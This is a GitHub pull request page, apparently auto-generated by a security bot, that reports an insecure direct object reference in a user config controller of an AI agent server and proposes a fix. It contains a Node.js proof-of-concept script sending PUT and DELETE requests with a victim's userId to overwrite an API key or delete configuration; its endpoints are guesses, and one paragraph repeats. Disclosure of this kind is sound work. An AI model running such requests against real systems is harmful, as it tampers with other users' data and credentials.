Skip to content

[Security] Fix CRITICAL vulnerability: V-001#1779

Open
orbisai0security wants to merge 1 commit into
bytedance:mainfrom
orbisai0security:fix-v-001-multimodal-tarko-agent-server-next-src-controllers-user.ts
Open

[Security] Fix CRITICAL vulnerability: V-001#1779
orbisai0security wants to merge 1 commit into
bytedance:mainfrom
orbisai0security:fix-v-001-multimodal-tarko-agent-server-next-src-controllers-user.ts

Conversation

@orbisai0security
Copy link
Copy Markdown

Security Fix

This PR addresses a CRITICAL severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect Rating Rationale
Impact High In this desktop AI agent application, exploitation could allow an authenticated user to alter or delete another user's configuration, potentially leading to privilege escalation within the app, unauthorized access to AI features, or manipulation of user-specific AI behaviors and data, compromising the integrity of multi-agent interactions.
Likelihood Low As a locally-run desktop application not exposed to remote networks, exploitation requires physical or insider access to the machine and valid authentication, making it unlikely for external attackers and dependent on rare shared-user scenarios in the repository's typical single-user desktop deployment.
Ease of Fix Medium Remediation involves adding authorization checks in the controller functions to verify the authenticated user's ownership of the target userId, requiring code refactoring in user.ts and possibly related authentication middleware, with moderate testing to ensure no breaking changes in the AI agent's user management logic.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in multimodal/tarko/agent-server-next/src/controllers/user.ts allows an authenticated attacker to bypass authorization checks in the updateUserConfig and deleteUserConfig functions, enabling them to modify or delete any user's configuration by simply specifying the target userId in the request body. This is an insecure direct object reference (IDOR) issue, where the code trusts the client-provided userId without verifying ownership. In the context of the UI-TARS-desktop repository—a multimodal AI agent system with a Node.js-based server component—an attacker with valid authentication (e.g., via a session token or API key) can exploit this to alter or remove configurations for other users, potentially disrupting the application's behavior or leaking sensitive data stored in configs.

The vulnerability in multimodal/tarko/agent-server-next/src/controllers/user.ts allows an authenticated attacker to bypass authorization checks in the updateUserConfig and deleteUserConfig functions, enabling them to modify or delete any user's configuration by simply specifying the target userId in the request body. This is an insecure direct object reference (IDOR) issue, where the code trusts the client-provided userId without verifying ownership. In the context of the UI-TARS-desktop repository—a multimodal AI agent system with a Node.js-based server component—an attacker with valid authentication (e.g., via a session token or API key) can exploit this to alter or remove configurations for other users, potentially disrupting the application's behavior or leaking sensitive data stored in configs.

To demonstrate exploitation, assume the server is running locally on http://localhost:3000 (based on typical Next.js/Express setups in the repository's structure). An attacker first authenticates to obtain a session token (e.g., via a login endpoint like POST /auth/login). Then, they craft HTTP requests targeting the vulnerable endpoints, which likely map to routes such as PUT /user/config for updates and DELETE /user/config for deletions, based on the controller file's structure. The PoC uses Node.js to simulate authenticated requests, exploiting the lack of permission checks.

// PoC exploit script: exploit_idor.js
// Prerequisites: Node.js installed, server running on localhost:3000, attacker has a valid auth token.
// This script assumes the attacker has authenticated and obtained a token (e.g., via login).
// In a real scenario, replace 'ATTACKER_TOKEN' with a valid JWT or session cookie from authentication.

const fetch = require('node-fetch'); // Install with: npm install node-fetch

const BASE_URL = 'http://localhost:3000'; // Adjust if deployed elsewhere
const ATTACKER_TOKEN = 'your_valid_auth_token_here'; // Obtained from login
const TARGET_USER_ID = 'victim_user_id_here'; // ID of the user whose config to attack

// Helper function to make authenticated requests
async function makeRequest(method, endpoint, body) {
  const response = await fetch(`${BASE_URL}${endpoint}`, {
    method: method,
    headers: {
      'Content-Type': 'application/json',
      'Authorization': `Bearer ${ATTACKER_TOKEN}`, // Assuming Bearer token auth, common in such apps
    },
    body: JSON.stringify(body),
  });
  return response.json();
}

// Step 1: Exploit updateUserConfig (PUT /user/config)
// Attacker updates the victim's config with malicious data, e.g., changing API keys or settings.
console.log('Exploiting updateUserConfig...');
const updatePayload = {
  userId: TARGET_USER_ID, // This is trusted without verification
  config: {
    // Example: Overwrite victim's config with attacker's data
    apiKey: 'attacker_controlled_api_key',
    preferences: { theme: 'dark', notifications: false },
    // Could include arbitrary fields to disrupt or exfiltrate data
  },
};
makeRequest('PUT', '/user/config', updatePayload).then(result => {
  console.log('Update result:', result);
  // Success: Victim's config is now modified without permission.
});

// Step 2: Exploit deleteUserConfig (DELETE /user/config)
// Attacker deletes the victim's config entirely.
console.log('Exploiting deleteUserConfig...');
const deletePayload = {
  userId: TARGET_USER_ID, // Again, no ownership check
};
makeRequest('DELETE', '/user/config', deletePayload).then(result => {
  console.log('Delete result:', result);
  // Success: Victim's config is deleted, potentially breaking their app usage.
});

// Run with: node exploit_idor.js
// In a test environment, verify by checking the database or victim's app state.

Exploitation Impact Assessment

Impact Category Severity Description
Data Exposure High Successful exploitation allows access to and modification of any user's configuration data, which in this multimodal AI repository may include sensitive details like API keys for external services (e.g., OpenAI or cloud integrations), personal preferences, or cached AI model outputs. An attacker could exfiltrate these configs via updates, leading to credential theft or data leakage for all users in the system.
System Compromise Low The vulnerability enables config manipulation but does not directly grant code execution or elevated privileges beyond user-level changes. However, if configs control app behavior (e.g., loading malicious scripts or altering agent permissions), it could indirectly lead to limited compromise, such as forcing the victim's desktop app to behave unpredictably without full system access.
Operational Impact Medium Deleting or altering configs could disrupt individual users' experiences, such as breaking AI agent functionality or resetting settings, requiring manual recovery. In a multi-user environment, widespread attacks could cause resource exhaustion if many configs are tampered with, but it wouldn't cause full service outages or data corruption beyond the affected configs.
Compliance Risk Medium Violates OWASP Top 10 A01:2021 (Broken Access Control) and could lead to GDPR violations if user configs contain personal data (e.g., identifiable preferences or AI-generated content). It risks failing audits for secure multi-agent systems, potentially impacting industry standards for AI desktop apps, though no direct HIPAA or PCI-DSS exposure is evident unless configs store regulated data.

Vulnerability Details

  • Rule ID: V-001
  • File: multimodal/tarko/agent-server-next/src/controllers/user.ts
  • Description: The updateUserConfig and deleteUserConfig controller functions directly use the userId from the request body to perform database operations without verifying if the authenticated user has permission to act on the target user's account. This allows any authenticated user to modify or delete any other user's configuration.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

  • examples/operator-browserbase/.env.example
  • examples/operator-browserbase/app/api/agent/route.ts
  • multimodal/tarko/agent-server-next/src/controllers/user.ts
  • multimodal/tarko/agent-server/src/server.ts

Verification

This fix has been automatically verified through:

  • ✅ Build verification
  • ✅ Scanner re-scan
  • ✅ LLM code review

🤖 This PR was automatically generated.

Automatically generated security fix
@netlify
Copy link
Copy Markdown

netlify Bot commented Jan 12, 2026

Deploy Preview for agent-tars-docs ready!

Name Link
🔨 Latest commit 68584e1
🔍 Latest deploy log https://app.netlify.com/projects/agent-tars-docs/deploys/6964bd6da7fb2e00089d0afd
😎 Deploy Preview https://deploy-preview-1779--agent-tars-docs.netlify.app
📱 Preview on mobile
Toggle QR Code...

QR Code

Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify project configuration.

@netlify
Copy link
Copy Markdown

netlify Bot commented Jan 12, 2026

Deploy Preview for tarko ready!

Name Link
🔨 Latest commit 68584e1
🔍 Latest deploy log https://app.netlify.com/projects/tarko/deploys/6964bd6d74fd9b0008266a33
😎 Deploy Preview https://deploy-preview-1779--tarko.netlify.app
📱 Preview on mobile
Toggle QR Code...

QR Code

Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify project configuration.

@CLAassistant
Copy link
Copy Markdown

CLAassistant commented Jan 12, 2026

CLA assistant check
All committers have signed the CLA.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants